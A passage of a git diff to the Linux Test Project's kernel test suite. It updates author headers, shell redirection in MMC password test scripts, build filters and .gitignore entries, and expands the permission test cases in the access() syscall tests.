 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../../..
diff --git a/testcases/kernel/security/mmc_security/ask_password.sh b/testcases/kernel/security/mmc_security/ask_password.sh
index 5136e13..e5b4357 100644
--- a/testcases/kernel/security/mmc_security/ask_password.sh
+++ b/testcases/kernel/security/mmc_security/ask_password.sh
@@ -52,14 +52,14 @@
 		while [ -z "$passwd" ]; do
 			read -s -p "MMC password: " passwd; echo
 		done
-		if ! keyctl instantiate $1 "$passwd" $2 &>/dev/null; then
+		if ! keyctl instantiate $1 "$passwd" $2 >/dev/null 2>&1; then
 			echo "*** Wrong password! The card was not unlocked."
 			exit 1
 		fi
 		echo "Password accepted."
 
 		exit 0
-	} &> $USER_CONSOLE < $USER_CONSOLE
+	} >$USER_CONSOLE 2>&1 < $USER_CONSOLE
 }
 
 ask_password || exit $RC
diff --git a/testcases/kernel/security/mmc_security/assign_password.sh b/testcases/kernel/security/mmc_security/assign_password.sh
index 442486c..5d1eec5 100644
--- a/testcases/kernel/security/mmc_security/assign_password.sh
+++ b/testcases/kernel/security/mmc_security/assign_password.sh
@@ -57,14 +57,14 @@
 		echo "*** Passwords do not match."
 		exit 1
 	fi
-	if ! keyctl instantiate $1 "$newpasswd" $2 &>/dev/null; then
+	if ! keyctl instantiate $1 "$newpasswd" $2 >/dev/null 2>&1; then
 		echo "*** Error while assigning new password"
 		exit 1
 	fi
 	echo "Password assigned."
 
 	exit 0
-	} &> $USER_CONSOLE < $USER_CONSOLE
+	} >$USER_CONSOLE 2>&1 < $USER_CONSOLE
 }
 
 assign_password || exit $RC
diff --git a/testcases/kernel/security/prot_hsymlinks/prot_hsymlinks.c b/testcases/kernel/security/prot_hsymlinks/prot_hsymlinks.c
index b23064a..1d615ae 100644
--- a/testcases/kernel/security/prot_hsymlinks/prot_hsymlinks.c
+++ b/testcases/kernel/security/prot_hsymlinks/prot_hsymlinks.c
@@ -197,6 +197,11 @@
 		tst_brkm(TCONF, NULL,
 			"Test must be run with kernel 3.7 or newer");
 
+	if (eaccess("/etc/passwd", W_OK)) {
+		tst_brkm(TCONF, NULL,
+			"/etc/passwd is not accessible");
+	}
+
 	/* initialize user names */
 	strcpy(users[ROOT].name, "root");
 
@@ -368,7 +373,7 @@
 
 static void init_files_dirs(void)
 {
-	int dir, usr;
+	unsigned int dir, usr;
 	/* create all other dirs and files */
 	for (dir = 0; dir < ARRAY_SIZE(bdirs); ++dir) {
 		for (usr = 0; usr < USERS_NUM; ++usr) {
@@ -431,8 +436,8 @@
 
 static int create_check_slinks(const struct user_file *ufile, int owner)
 {
-	int result = 0;
-	int dir, usr;
+	int result = 0, usr;
+	unsigned int dir;
 	for (dir = 0; dir < ARRAY_SIZE(bdirs); ++dir) {
 		for (usr = 0; usr < USERS_NUM; ++usr) {
 			/* set user who will create symlink */
@@ -461,8 +466,8 @@
 
 static int create_check_hlinks(const struct user_file *ufile, int owner)
 {
-	int result = 0;
-	int dir, usr;
+	int result = 0, usr;
+	unsigned int dir;
 	for (dir = 0; dir < ARRAY_SIZE(bdirs); ++dir) {
 		for (usr = 0; usr < USERS_NUM; ++usr) {
 			/* can't create hardlink to directory */
@@ -533,7 +538,7 @@
 
 static int try_symlink(const char *name)
 {
-	int mode;
+	unsigned int mode;
 	for (mode = 0; mode < ARRAY_SIZE(o_modes); ++mode) {
 		if (try_open(name, o_modes[mode]) != -1)
 			return CAN_FOLLOW;
diff --git a/testcases/kernel/security/smack/smack_common.sh b/testcases/kernel/security/smack/smack_common.sh
index d4165d1..e26e3d4 100755
--- a/testcases/kernel/security/smack/smack_common.sh
+++ b/testcases/kernel/security/smack/smack_common.sh
@@ -18,7 +18,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 # This file serves the sole purpose of executing every common piece of
 # prerequisite code for all of the smack tests, s.t. a lot of duplicate shell
diff --git a/testcases/kernel/security/tomoyo/Makefile b/testcases/kernel/security/tomoyo/Makefile
index cb73ba5..00e4cc3 100644
--- a/testcases/kernel/security/tomoyo/Makefile
+++ b/testcases/kernel/security/tomoyo/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../../..
diff --git a/testcases/kernel/security/tomoyo/include.h b/testcases/kernel/security/tomoyo/include.h
index fd1b19b..edaf117 100644
--- a/testcases/kernel/security/tomoyo/include.h
+++ b/testcases/kernel/security/tomoyo/include.h
@@ -43,7 +43,6 @@
 #include <time.h>
 #include <unistd.h>
 #include <utime.h>
-#include "test.h"
 #include <sched.h>
 #include <stdarg.h>
 #include <sys/mount.h>
@@ -51,6 +50,7 @@
 #include <net/if.h>
 #include <linux/ip.h>
 #include <err.h>
+#include "test.h"
 
 /*
  * Some architectures like mips n32 don't have __NR_uselib defined in the
diff --git a/testcases/kernel/syscalls/.gitignore b/testcases/kernel/syscalls/.gitignore
index 0512f8a..d5985cd 100644
--- a/testcases/kernel/syscalls/.gitignore
+++ b/testcases/kernel/syscalls/.gitignore
@@ -5,8 +5,6 @@
 /access/access02
 /access/access03
 /access/access04
-/access/access05
-/access/access06
 /acct/acct01
 /add_key/add_key01
 /add_key/add_key02
@@ -234,6 +232,9 @@
 /fcntl/fcntl34_64
 /fdatasync/fdatasync01
 /fdatasync/fdatasync02
+/flistxattr/flistxattr01
+/flistxattr/flistxattr02
+/flistxattr/flistxattr03
 /flock/flock01
 /flock/flock02
 /flock/flock03
@@ -367,6 +368,7 @@
 /getxattr/getxattr01
 /getxattr/getxattr02
 /getxattr/getxattr03
+/getxattr/getxattr04
 /inotify/inotify01
 /inotify/inotify02
 /inotify/inotify03
@@ -383,6 +385,9 @@
 /ioctl/ioctl01
 /ioctl/ioctl02
 /ioctl/ioctl03
+/ioctl/ioctl04
+/ioctl/ioctl05
+/ioctl/ioctl06
 /ioperm/ioperm01
 /ioperm/ioperm02
 /iopl/iopl01
@@ -403,7 +408,6 @@
 /ipc/msgget/msgget01
 /ipc/msgget/msgget02
 /ipc/msgget/msgget03
-/ipc/msgget/msgget04
 /ipc/msgrcv/msgrcv01
 /ipc/msgrcv/msgrcv02
 /ipc/msgrcv/msgrcv03
@@ -414,8 +418,6 @@
 /ipc/msgrcv/msgrcv08
 /ipc/msgsnd/msgsnd01
 /ipc/msgsnd/msgsnd02
-/ipc/msgsnd/msgsnd03
-/ipc/msgsnd/msgsnd04
 /ipc/msgsnd/msgsnd05
 /ipc/msgsnd/msgsnd06
 /ipc/semctl/semctl01
@@ -450,8 +452,11 @@
 /ipc/shmget/shmget04
 /ipc/shmget/shmget05
 /keyctl/keyctl01
+/keyctl/keyctl02
+/keyctl/keyctl03
 /kcmp/kcmp01
 /kcmp/kcmp02
+/kcmp/kcmp03
 /kill/kill01
 /kill/kill02
 /kill/kill03
@@ -470,6 +475,8 @@
 /lchown/lchown02_16
 /lchown/lchown03
 /lchown/lchown03_16
+/lgetxattr/lgetxattr01
+/lgetxattr/lgetxattr02
 /link/link02
 /link/link03
 /link/link04
@@ -480,6 +487,9 @@
 /linkat/linkat01
 /linkat/linkat02
 /listen/listen01
+/listxattr/listxattr01
+/listxattr/listxattr02
+/listxattr/listxattr03
 /llistxattr/llistxattr01
 /llistxattr/llistxattr02
 /llistxattr/llistxattr03
@@ -496,6 +506,7 @@
 /lseek/lseek08
 /lseek/lseek09
 /lseek/lseek10
+/lseek/lseek11
 /lstat/lstat01
 /lstat/lstat01_64
 /lstat/lstat02
@@ -508,6 +519,9 @@
 /madvise/madvise04
 /madvise/madvise05
 /madvise/madvise06
+/madvise/madvise07
+/madvise/madvise08
+/madvise/madvise09
 /mallopt/mallopt01
 /mbind/mbind01
 /memcmp/memcmp01
@@ -583,6 +597,7 @@
 /move_pages/move_pages09
 /move_pages/move_pages10
 /move_pages/move_pages11
+/move_pages/move_pages12
 /mprotect/mprotect01
 /mprotect/mprotect02
 /mprotect/mprotect03
@@ -619,7 +634,6 @@
 /nice/nice02
 /nice/nice03
 /nice/nice04
-/nice/nice05
 /open/open01
 /open/open02
 /open/open03
@@ -678,6 +692,8 @@
 /pselect/pselect01_64
 /pselect/pselect02
 /pselect/pselect02_64
+/pselect/pselect03
+/pselect/pselect03_64
 /ptrace/_syscalls.h
 /ptrace/ptrace01
 /ptrace/ptrace02
@@ -698,6 +714,7 @@
 /pwritev/pwritev02_64
 /quotactl/quotactl01
 /quotactl/quotactl02
+/quotactl/quotactl03
 /read/read01
 /read/read02
 /read/read03
@@ -723,6 +740,7 @@
 /recvfrom/recvfrom01
 /recvmsg/recvmsg01
 /recvmsg/recvmsg02
+/recvmsg/recvmsg03
 /remap_file_pages/remap_file_pages01
 /remap_file_pages/remap_file_pages02
 /removexattr/removexattr01
@@ -786,6 +804,7 @@
 /sched_setparam/sched_setparam05
 /sched_setscheduler/sched_setscheduler01
 /sched_setscheduler/sched_setscheduler02
+/sched_setscheduler/sched_setscheduler03
 /sched_yield/sched_yield01
 /select/select01
 /select/select02
@@ -811,6 +830,7 @@
 /sendmsg/sendmsg01
 /sendmsg/sendmsg02
 /sendto/sendto01
+/sendto/sendto02
 /set_robust_list/set_robust_list01
 /set_thread_area/set_thread_area01
 /set_thread_area/set_thread_area02
@@ -864,9 +884,6 @@
 /setpgrp/setpgrp02
 /setpriority/setpriority01
 /setpriority/setpriority02
-/setpriority/setpriority03
-/setpriority/setpriority04
-/setpriority/setpriority05
 /setregid/setregid01
 /setregid/setregid01_16
 /setregid/setregid02
@@ -949,7 +966,6 @@
 /sigwaitinfo/sigwaitinfo01
 /socket/socket01
 /socket/socket02
-/socket/socket03
 /socketcall/socketcall01
 /socketcall/socketcall02
 /socketcall/socketcall03
@@ -1038,8 +1054,6 @@
 /truncate/truncate03_64
 /ulimit/ulimit01
 /umask/umask01
-/umask/umask02
-/umask/umask03
 /umount/umount01
 /umount/umount02
 /umount/umount03
@@ -1098,10 +1112,9 @@
 /write/write05
 /writev/writev01
 /writev/writev02
-/writev/writev03
-/writev/writev04
 /writev/writev05
 /writev/writev06
+/writev/writev07
 /fanotify/fanotify01
 /fanotify/fanotify02
 /fanotify/fanotify03
@@ -1110,3 +1123,5 @@
 /fanotify/fanotify06
 /perf_event_open/perf_event_open01
 /perf_event_open/perf_event_open02
+/memfd_create/memfd_create01
+/memfd_create/memfd_create02
diff --git a/testcases/kernel/syscalls/Makefile b/testcases/kernel/syscalls/Makefile
index 50bed10..45a00cf 100644
--- a/testcases/kernel/syscalls/Makefile
+++ b/testcases/kernel/syscalls/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../..
@@ -33,4 +33,16 @@
 FILTER_OUT_DIRS	+= profil
 endif
 
+ifeq ($(ANDROID), 1)
+FILTER_OUT_DIRS	+= \
+	accept4 adjtimex cma confstr fcntl fmtmsg futex getcontext getcpu \
+	getdomainname getdtablesize gethostid getgroups get_mempolicy ipc \
+	linkat kill mallopt memmap mq_notify mq_open mq_timedreceive \
+	mq_timedsend mq_unlink mmap mremap open openat profil ptrace quotactl \
+	readahead remap_file_pages rt_sigsuspend rt_sigtimedwait \
+	sched_getaffinity sched_setaffinity sendmsg setgroups setns sighold \
+	sigrelse sigsuspend sigtimedwait sigwait sigwaitinfo stime \
+	setdomainname sethostname symlinkat ulimit ustat vfork vhangup vmsplice
+endif
+
 include $(top_srcdir)/include/mk/generic_trunk_target.mk
diff --git a/testcases/kernel/syscalls/accept4/accept4_01.c b/testcases/kernel/syscalls/accept4/accept4_01.c
index 6072bfa..a49b23c 100644
--- a/testcases/kernel/syscalls/accept4/accept4_01.c
+++ b/testcases/kernel/syscalls/accept4/accept4_01.c
@@ -200,14 +200,30 @@
 	return lfd;
 }
 
+static char *opt_port;
+
+static option_t options[] = {
+	{"p:", NULL, &opt_port},
+	{NULL, NULL, NULL}
+};
+
+static void usage(void)
+{
+	printf("  -p      Port\n");
+}
+
 int main(int argc, char *argv[])
 {
 	struct sockaddr_in conn_addr;
 	int lfd;
-	int port_num;
+	int port_num = PORT_NUM;
+
+	tst_parse_opts(argc, argv, options, usage);
+
+	if (opt_port)
+		port_num = atoi(opt_port);
 
 	setup();
-	port_num = (argc > 1) ? atoi(argv[1]) : PORT_NUM;
 
 	memset(&conn_addr, 0, sizeof(struct sockaddr_in));
 	conn_addr.sin_family = AF_INET;
@@ -220,7 +236,7 @@
 	do_test(lfd, &conn_addr, SOCK_CLOEXEC, 0);
 	do_test(lfd, &conn_addr, 0, SOCK_NONBLOCK);
 	do_test(lfd, &conn_addr, SOCK_CLOEXEC, SOCK_NONBLOCK);
-	
+
 	close(lfd);
 	cleanup();
 	tst_exit();
diff --git a/testcases/kernel/syscalls/access/Makefile b/testcases/kernel/syscalls/access/Makefile
index bd617d8..06aaf9f 100644
--- a/testcases/kernel/syscalls/access/Makefile
+++ b/testcases/kernel/syscalls/access/Makefile
@@ -18,6 +18,10 @@
 
 top_srcdir		?= ../../../..
 
+ifeq ($(UCLINUX),1)
+FILTER_OUT_MAKE_TARGETS += access02 access03
+endif
+
 include $(top_srcdir)/include/mk/testcases.mk
 
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/kernel/syscalls/access/access01.c b/testcases/kernel/syscalls/access/access01.c
index a445edd..25e13b7 100644
--- a/testcases/kernel/syscalls/access/access01.c
+++ b/testcases/kernel/syscalls/access/access01.c
@@ -32,9 +32,16 @@
 #include "tst_test.h"
 
 #define FNAME_RWX "accessfile_rwx"
-#define FNAME_R   "accesfile_r"
-#define FNAME_W   "accesfile_w"
-#define FNAME_X   "accesfile_x"
+#define FNAME_R   "accessfile_r"
+#define FNAME_W   "accessfile_w"
+#define FNAME_X   "accessfile_x"
+
+#define DNAME_R   "accessdir_r"
+#define DNAME_W   "accessdir_w"
+#define DNAME_X   "accessdir_x"
+#define DNAME_RW  "accessdir_rw"
+#define DNAME_RX  "accessdir_rx"
+#define DNAME_WX  "accessdir_wx"
 
 static uid_t uid;
 
@@ -90,7 +97,157 @@
 
 	{FNAME_X, R_OK, "R_OK", 0, 2},
 	{FNAME_X, W_OK, "W_OK", 0, 2},
-	{FNAME_X, R_OK|W_OK, "R_OK|W_OK", 0, 2}
+	{FNAME_X, R_OK|W_OK, "R_OK|W_OK", 0, 2},
+
+	{DNAME_R"/"FNAME_R, F_OK, "F_OK", 0, 2},
+	{DNAME_R"/"FNAME_R, R_OK, "R_OK", 0, 2},
+	{DNAME_R"/"FNAME_R, W_OK, "W_OK", 0, 2},
+
+	{DNAME_R"/"FNAME_W, F_OK, "F_OK", 0, 2},
+	{DNAME_R"/"FNAME_W, R_OK, "R_OK", 0, 2},
+	{DNAME_R"/"FNAME_W, W_OK, "W_OK", 0, 2},
+
+	{DNAME_R"/"FNAME_X, F_OK, "F_OK", 0, 2},
+	{DNAME_R"/"FNAME_X, R_OK, "R_OK", 0, 2},
+	{DNAME_R"/"FNAME_X, W_OK, "W_OK", 0, 2},
+	{DNAME_R"/"FNAME_X, X_OK, "X_OK", 0, 2},
+
+	{DNAME_W"/"FNAME_R, F_OK, "F_OK", 0, 2},
+	{DNAME_W"/"FNAME_R, R_OK, "R_OK", 0, 2},
+	{DNAME_W"/"FNAME_R, W_OK, "W_OK", 0, 2},
+
+	{DNAME_W"/"FNAME_W, F_OK, "F_OK", 0, 2},
+	{DNAME_W"/"FNAME_W, R_OK, "R_OK", 0, 2},
+	{DNAME_W"/"FNAME_W, W_OK, "W_OK", 0, 2},
+
+	{DNAME_W"/"FNAME_X, F_OK, "F_OK", 0, 2},
+	{DNAME_W"/"FNAME_X, R_OK, "R_OK", 0, 2},
+	{DNAME_W"/"FNAME_X, W_OK, "W_OK", 0, 2},
+	{DNAME_W"/"FNAME_X, X_OK, "X_OK", 0, 2},
+
+	{DNAME_X"/"FNAME_R, F_OK, "F_OK", 0, 3},
+	{DNAME_X"/"FNAME_R, R_OK, "R_OK", 0, 3},
+	{DNAME_X"/"FNAME_R, W_OK, "W_OK", 0, 2},
+
+	{DNAME_X"/"FNAME_W, F_OK, "F_OK", 0, 3},
+	{DNAME_X"/"FNAME_W, R_OK, "R_OK", 0, 2},
+	{DNAME_X"/"FNAME_W, W_OK, "W_OK", 0, 3},
+
+	{DNAME_X"/"FNAME_X, F_OK, "F_OK", 0, 3},
+	{DNAME_X"/"FNAME_X, R_OK, "R_OK", 0, 2},
+	{DNAME_X"/"FNAME_X, W_OK, "W_OK", 0, 2},
+	{DNAME_X"/"FNAME_X, X_OK, "X_OK", 0, 3},
+
+	{DNAME_RW"/"FNAME_R, F_OK, "F_OK", 0, 2},
+	{DNAME_RW"/"FNAME_R, R_OK, "R_OK", 0, 2},
+	{DNAME_RW"/"FNAME_R, W_OK, "W_OK", 0, 2},
+
+	{DNAME_RW"/"FNAME_W, F_OK, "F_OK", 0, 2},
+	{DNAME_RW"/"FNAME_W, R_OK, "R_OK", 0, 2},
+	{DNAME_RW"/"FNAME_W, W_OK, "W_OK", 0, 2},
+
+	{DNAME_RW"/"FNAME_X, F_OK, "F_OK", 0, 2},
+	{DNAME_RW"/"FNAME_X, R_OK, "R_OK", 0, 2},
+	{DNAME_RW"/"FNAME_X, W_OK, "W_OK", 0, 2},
+	{DNAME_RW"/"FNAME_X, X_OK, "X_OK", 0, 2},
+
+	{DNAME_RX"/"FNAME_R, F_OK, "F_OK", 0, 3},
+	{DNAME_RX"/"FNAME_R, R_OK, "R_OK", 0, 3},
+	{DNAME_RX"/"FNAME_R, W_OK, "W_OK", 0, 2},
+
+	{DNAME_RX"/"FNAME_W, F_OK, "F_OK", 0, 3},
+	{DNAME_RX"/"FNAME_W, R_OK, "R_OK", 0, 2},
+	{DNAME_RX"/"FNAME_W, W_OK, "W_OK", 0, 3},
+
+	{DNAME_RX"/"FNAME_X, F_OK, "F_OK", 0, 3},
+	{DNAME_RX"/"FNAME_X, R_OK, "R_OK", 0, 2},
+	{DNAME_RX"/"FNAME_X, W_OK, "W_OK", 0, 2},
+	{DNAME_RX"/"FNAME_X, X_OK, "X_OK", 0, 3},
+
+	{DNAME_WX"/"FNAME_R, F_OK, "F_OK", 0, 3},
+	{DNAME_WX"/"FNAME_R, R_OK, "R_OK", 0, 3},
+	{DNAME_WX"/"FNAME_R, W_OK, "W_OK", 0, 2},
+
+	{DNAME_WX"/"FNAME_W, F_OK, "F_OK", 0, 3},
+	{DNAME_WX"/"FNAME_W, R_OK, "R_OK", 0, 2},
+	{DNAME_WX"/"FNAME_W, W_OK, "W_OK", 0, 3},
+
+	{DNAME_WX"/"FNAME_X, F_OK, "F_OK", 0, 3},
+	{DNAME_WX"/"FNAME_X, R_OK, "R_OK", 0, 2},
+	{DNAME_WX"/"FNAME_X, W_OK, "W_OK", 0, 2},
+	{DNAME_WX"/"FNAME_X, X_OK, "X_OK", 0, 3},
+
+	{DNAME_R"/"FNAME_R, F_OK, "F_OK", EACCES, 1},
+	{DNAME_R"/"FNAME_R, R_OK, "R_OK", EACCES, 1},
+	{DNAME_R"/"FNAME_R, W_OK, "W_OK", EACCES, 1},
+	{DNAME_R"/"FNAME_R, X_OK, "X_OK", EACCES, 3},
+
+	{DNAME_R"/"FNAME_W, F_OK, "F_OK", EACCES, 1},
+	{DNAME_R"/"FNAME_W, R_OK, "R_OK", EACCES, 1},
+	{DNAME_R"/"FNAME_W, W_OK, "W_OK", EACCES, 1},
+	{DNAME_R"/"FNAME_W, X_OK, "X_OK", EACCES, 3},
+
+	{DNAME_R"/"FNAME_X, F_OK, "F_OK", EACCES, 1},
+	{DNAME_R"/"FNAME_X, R_OK, "R_OK", EACCES, 1},
+	{DNAME_R"/"FNAME_X, W_OK, "W_OK", EACCES, 1},
+	{DNAME_R"/"FNAME_X, X_OK, "X_OK", EACCES, 1},
+
+	{DNAME_W"/"FNAME_R, F_OK, "F_OK", EACCES, 1},
+	{DNAME_W"/"FNAME_R, R_OK, "R_OK", EACCES, 1},
+	{DNAME_W"/"FNAME_R, W_OK, "W_OK", EACCES, 1},
+	{DNAME_W"/"FNAME_R, X_OK, "X_OK", EACCES, 3},
+
+	{DNAME_W"/"FNAME_W, F_OK, "F_OK", EACCES, 1},
+	{DNAME_W"/"FNAME_W, R_OK, "R_OK", EACCES, 1},
+	{DNAME_W"/"FNAME_W, W_OK, "W_OK", EACCES, 1},
+	{DNAME_W"/"FNAME_W, X_OK, "X_OK", EACCES, 3},
+
+	{DNAME_W"/"FNAME_X, F_OK, "F_OK", EACCES, 1},
+	{DNAME_W"/"FNAME_X, R_OK, "R_OK", EACCES, 1},
+	{DNAME_W"/"FNAME_X, W_OK, "W_OK", EACCES, 1},
+	{DNAME_W"/"FNAME_X, X_OK, "X_OK", EACCES, 1},
+
+	{DNAME_X"/"FNAME_R, W_OK, "W_OK", EACCES, 1},
+	{DNAME_X"/"FNAME_R, X_OK, "X_OK", EACCES, 3},
+
+	{DNAME_X"/"FNAME_W, R_OK, "R_OK", EACCES, 1},
+	{DNAME_X"/"FNAME_W, X_OK, "X_OK", EACCES, 3},
+
+	{DNAME_X"/"FNAME_X, R_OK, "R_OK", EACCES, 1},
+	{DNAME_X"/"FNAME_X, W_OK, "W_OK", EACCES, 1},
+
+	{DNAME_RW"/"FNAME_R, F_OK, "F_OK", EACCES, 1},
+	{DNAME_RW"/"FNAME_R, R_OK, "R_OK", EACCES, 1},
+	{DNAME_RW"/"FNAME_R, W_OK, "W_OK", EACCES, 1},
+	{DNAME_RW"/"FNAME_R, X_OK, "X_OK", EACCES, 3},
+
+	{DNAME_RW"/"FNAME_W, F_OK, "F_OK", EACCES, 1},
+	{DNAME_RW"/"FNAME_W, R_OK, "R_OK", EACCES, 1},
+	{DNAME_RW"/"FNAME_W, W_OK, "W_OK", EACCES, 1},
+	{DNAME_RW"/"FNAME_W, X_OK, "X_OK", EACCES, 3},
+
+	{DNAME_RW"/"FNAME_X, F_OK, "F_OK", EACCES, 1},
+	{DNAME_RW"/"FNAME_X, R_OK, "R_OK", EACCES, 1},
+	{DNAME_RW"/"FNAME_X, W_OK, "W_OK", EACCES, 1},
+	{DNAME_RW"/"FNAME_X, X_OK, "X_OK", EACCES, 1},
+
+	{DNAME_RX"/"FNAME_R, W_OK, "W_OK", EACCES, 1},
+	{DNAME_RX"/"FNAME_R, X_OK, "X_OK", EACCES, 3},
+
+	{DNAME_RX"/"FNAME_W, R_OK, "R_OK", EACCES, 1},
+	{DNAME_RX"/"FNAME_W, X_OK, "X_OK", EACCES, 3},
+
+	{DNAME_RX"/"FNAME_X, R_OK, "R_OK", EACCES, 1},
+	{DNAME_RX"/"FNAME_X, W_OK, "W_OK", EACCES, 1},
+
+	{DNAME_WX"/"FNAME_R, W_OK, "W_OK", EACCES, 1},
+	{DNAME_WX"/"FNAME_R, X_OK, "X_OK", EACCES, 3},
+
+	{DNAME_WX"/"FNAME_W, R_OK, "R_OK", EACCES, 1},
+	{DNAME_WX"/"FNAME_W, X_OK, "X_OK", EACCES, 3},
+
+	{DNAME_WX"/"FNAME_X, R_OK, "R_OK", EACCES, 1},
+	{DNAME_WX"/"FNAME_X, W_OK, "W_OK", EACCES, 1}
 };
 
 static void verify_success(struct tcase *tc, const char *user)
@@ -166,6 +323,37 @@
 	SAFE_TOUCH(FNAME_R, 0444, NULL);
 	SAFE_TOUCH(FNAME_W, 0222, NULL);
 	SAFE_TOUCH(FNAME_X, 0111, NULL);
+
+	SAFE_MKDIR(DNAME_R, 0444);
+	SAFE_MKDIR(DNAME_W, 0222);
+	SAFE_MKDIR(DNAME_X, 0111);
+	SAFE_MKDIR(DNAME_RW, 0666);
+	SAFE_MKDIR(DNAME_RX, 0555);
+	SAFE_MKDIR(DNAME_WX, 0333);
+
+	SAFE_TOUCH(DNAME_R"/"FNAME_R, 0444, NULL);
+	SAFE_TOUCH(DNAME_R"/"FNAME_W, 0222, NULL);
+	SAFE_TOUCH(DNAME_R"/"FNAME_X, 0111, NULL);
+
+	SAFE_TOUCH(DNAME_W"/"FNAME_R, 0444, NULL);
+	SAFE_TOUCH(DNAME_W"/"FNAME_W, 0222, NULL);
+	SAFE_TOUCH(DNAME_W"/"FNAME_X, 0111, NULL);
+
+	SAFE_TOUCH(DNAME_X"/"FNAME_R, 0444, NULL);
+	SAFE_TOUCH(DNAME_X"/"FNAME_W, 0222, NULL);
+	SAFE_TOUCH(DNAME_X"/"FNAME_X, 0111, NULL);
+
+	SAFE_TOUCH(DNAME_RW"/"FNAME_R, 0444, NULL);
+	SAFE_TOUCH(DNAME_RW"/"FNAME_W, 0222, NULL);
+	SAFE_TOUCH(DNAME_RW"/"FNAME_X, 0111, NULL);
+
+	SAFE_TOUCH(DNAME_RX"/"FNAME_R, 0444, NULL);
+	SAFE_TOUCH(DNAME_RX"/"FNAME_W, 0222, NULL);
+	SAFE_TOUCH(DNAME_RX"/"FNAME_X, 0111, NULL);
+
+	SAFE_TOUCH(DNAME_WX"/"FNAME_R, 0444, NULL);
+	SAFE_TOUCH(DNAME_WX"/"FNAME_W, 0222, NULL);
+	SAFE_TOUCH(DNAME_WX"/"FNAME_X, 0111, NULL);
 }
 
 static struct tst_test test = {
diff --git a/testcases/kernel/syscalls/access/access02.c b/testcases/kernel/syscalls/access/access02.c
index 56241d0..86e0342 100644
--- a/testcases/kernel/syscalls/access/access02.c
+++ b/testcases/kernel/syscalls/access/access02.c
@@ -19,308 +19,188 @@
 
 /*
  * Test Description:
- *  Verify that access() succeeds to check the read/write/execute permissions
- *  on a file if the mode argument passed was R_OK/W_OK/X_OK.
+ *  Verify that access() succeeds to check the existence or read/write/execute
+ *  permissions on a file if the mode argument passed was F_OK/R_OK/W_OK/X_OK.
  *
  *  Also verify that, access() succeeds to test the accessibility of the file
  *  referred to by symbolic link if the pathname points to a symbolic link.
  *
- *	07/2001 Ported by Wayne Boyer
+ *  As well as verify that, these test files can be
+ *  stat/read/written/executed indeed as root and nobody respectively.
+ *
+ *	07/2001 Ported by Wayne Boyera
+ *	06/2016 Modified by Guangwen Feng <fenggw-fnst@cn.fujitsu.com>
  */
 
 #include <sys/types.h>
-#include <sys/stat.h>
-#include <stdio.h>
 #include <unistd.h>
 #include <errno.h>
-#include <fcntl.h>
-#include <string.h>
-#include <signal.h>
 #include <pwd.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include "tst_test.h"
 
-#include "test.h"
+#define FNAME_F	"file_f"
+#define FNAME_R	"file_r"
+#define FNAME_W	"file_w"
+#define FNAME_X	"file_x"
+#define SNAME_F	"symlink_f"
+#define SNAME_R	"symlink_r"
+#define SNAME_W	"symlink_w"
+#define SNAME_X	"symlink_x"
 
-#define TEMP_FILE	"temp_file"
-#define SYM_FILE	"sym_file"
-#define TEST_FILE1	"test_file1"
-#define TEST_FILE2	"test_file2"
-#define TEST_FILE3	"test_file3"
-#define FILE_MODE	(S_IRUSR|S_IWUSR|S_IRGRP|S_IROTH)
-#define EXE_MODE	0777
+static uid_t uid;
 
-char *TCID = "access02";
-int TST_TOTAL = 4;
-
-static int fd1, fd2, fd4;
-static const char nobody_uid[] = "nobody";
-static struct passwd *ltpuser;
-
-static int setup1(void);
-static int setup2(void);
-static int setup3(void);
-static int setup4(void);
-
-static struct test_case_t {
-	char *pathname;
-	mode_t a_mode;
-	int (*setupfunc) (void);
-} test_cases[] = {
-	{TEST_FILE1, R_OK, setup1},
-	{TEST_FILE2, W_OK, setup2},
-	{TEST_FILE3, X_OK, setup3},
-	{SYM_FILE, W_OK, setup4},
+static struct tcase {
+	const char *pathname;
+	int mode;
+	char *name;
+	const char *targetname;
+} tcases[] = {
+	{FNAME_F, F_OK, "F_OK", FNAME_F},
+	{FNAME_R, R_OK, "R_OK", FNAME_R},
+	{FNAME_W, W_OK, "W_OK", FNAME_W},
+	{FNAME_X, X_OK, "X_OK", FNAME_X},
+	{SNAME_F, F_OK, "F_OK", FNAME_F},
+	{SNAME_R, R_OK, "R_OK", FNAME_R},
+	{SNAME_W, W_OK, "W_OK", FNAME_W},
+	{SNAME_X, X_OK, "X_OK", FNAME_X}
 };
 
-static void setup(void);
-static void cleanup(void);
-static int access_verify(int);
-
-int main(int ac, char **av)
+static void access_test(struct tcase *tc, const char *user)
 {
-	int lc;
-	int i;
-	mode_t access_mode;
-	char *file_name;
+	struct stat stat_buf;
+	char command[64];
 
-	tst_parse_opts(ac, av, NULL, NULL);
+	TEST(access(tc->pathname, tc->mode));
 
-	setup();
+	if (TEST_RETURN == -1) {
+		tst_res(TFAIL | TTERRNO, "access(%s, %s) as %s failed",
+			tc->pathname, tc->name, user);
+		return;
+	}
 
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		tst_count = 0;
-		for (i = 0; i < TST_TOTAL; i++) {
-			file_name = test_cases[i].pathname;
-			access_mode = test_cases[i].a_mode;
+	switch (tc->mode) {
+	case F_OK:
+		/*
+		 * The specified file(or pointed to by symbolic link)
+		 * exists, attempt to get its status, if successful,
+		 * access() behaviour is correct.
+		 */
+		TEST(stat(tc->targetname, &stat_buf));
 
-			/*
-			 * Call access(2) to check the test file
-			 * for specified access mode permissions.
-			 */
-			TEST(access(file_name, access_mode));
-
-			if (TEST_RETURN == -1) {
